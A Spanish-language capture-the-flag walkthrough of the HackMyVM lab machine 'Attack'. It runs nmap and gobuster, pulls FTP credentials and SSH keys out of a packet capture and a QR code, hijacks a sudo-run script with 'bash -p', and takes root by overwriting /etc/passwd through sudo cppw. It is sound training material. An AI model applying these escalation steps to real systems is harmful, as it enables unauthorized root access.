cd ~/blog

~/writeups/hmv/001-attack.md

001 - Attack

medium Linux hmv 10-02-2024
PCAP credential / file extractionQR code SSH key disclosuresudo script hijacksudo cppw (/etc/passwd overwrite)
hackmyvm.eu/machines/machine.php?vm=Attack

~2 min de lectura


Enumeración

Comenzamos con un escaneo general y específico de puertos con nmap. El primer barrido descubre los puertos abiertos a máxima velocidad; el segundo aplica scripts y detección de versiones sobre ellos:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.144
 nmap -sC -sV -p21,22,80 -oN 02-targeted.txt 192.168.1.144
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-10 20:21 -03
Nmap scan report for 192.168.1.144
Host is up (0.00029s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 f4:8d:08:b4:99:d2:0c:5d:75:b8:22:83:7b:c2:88:15 (RSA)
|   256 e2:16:0a:e7:38:4a:ec:76:cf:d3:56:78:07:fd:2f:25 (ECDSA)
|_  256 0b:5a:9c:71:cc:3b:50:04:46:18:ad:67:8a:df:d0:d6 (ED25519)
80/tcp open  http    nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.06 seconds

Tenemos tres servicios: FTP (ProFTPD), SSH y un servidor web nginx.

Análisis de la captura de red

Al abrir el sitio web nos recibe un mensaje del administrador, que filtra una pista clave: existe una captura de Wireshark publicada, pero se olvidó la extensión del archivo:

I did a capture with wireshark.
The name of the file is "capture" but i dont remember the extension :(

Fuzzeamos la extensión con gobuster en modo fuzz, sustituyendo el marcador FUZZ por cada entrada del diccionario y descartando las respuestas de longitud 169 (la página de error):

 gobuster fuzz -u http://192.168.1.144/capture.FUZZ -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt --exclude-length 169
...
Found: [Status=200] [Length=406500] [Word=pcap] http://192.168.1.144/capture.pcap
...

Descargamos capture.pcap y lo analizamos. El FTP viaja en texto plano, así que extraemos directamente las credenciales de la sesión:

USER teste
PASS simple

Además, dentro de la captura viaja un archivo filexxx.zip que contiene una clave privada SSH. Esa clave, junto con el usuario teste, nos da el primer acceso a la máquina.

QR oculto en la captura

Seguimos analizando el .pcap y encontramos un segundo filexxx.zip, con el mismo nombre que el anterior pero distinto tamaño, por lo que seleccionamos su traza y lo exportamos desde Wireshark (File > Export Objects).

Al descomprimirlo aparece una imagen con un código QR. Lo decodificamos con cualquier lector y obtenemos una URL:

http://localhost/jackobattack.txt

Ese archivo resulta ser la clave RSA SSH del usuario jackob. Establecemos la conexión, obtenemos la primera flag y comenzamos la escalada de privilegios.

Escalada a kratos (sudo script hijack)

Revisamos qué puede ejecutar jackob con sudo:

jackob@attack:~$ sudo -l
Matching Defaults entries for jackob on attack:
    !env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jackob may run the following commands on attack:
    (kratos) NOPASSWD: /home/jackob/attack.sh

El script attack.sh se encuentra en nuestro propio home, donde tenemos permisos de escritura. Lo reemplazamos por uno que lance una shell con el flag -p (preserva el UID efectivo):

#!/bin/bash
bash -p

Lo ejecutamos como kratos y obtenemos su shell:

jackob@attack:~$ sudo -u kratos /home/jackob/attack.sh
kratos@attack:~$

Escalada a root (sudo cppw)

Repetimos la enumeración de sudo con el nuevo usuario:

kratos@attack:/home/kratos$ sudo -l
Matching Defaults entries for kratos on attack:
    !env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User kratos may run the following commands on attack:
    (root) NOPASSWD: /usr/sbin/cppw

El binario cppw se usa para reemplazar /etc/passwd por el archivo que le indiquemos. Como podemos ejecutarlo como root, generamos un /etc/passwd con la contraseña de root bajo nuestro control.

Primero generamos un hash de contraseña con openssl:

kratos@attack:/home/kratos$ openssl passwd
Password:
Verifying - Password:
T31emqDlCr/kg

Creamos un passwd propio con la contraseña de root modificada:

root:T31emqDlCr/kg:0:0:root:/root:/bin/bash

Lo aplicamos con cppw e iniciamos sesión como root:

kratos@attack:/home/kratos$ sudo /usr/sbin/cppw passwd

kratos@attack:/home/kratos$ su root
Password:
root@attack:/home/kratos#

Obtenemos la segunda flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados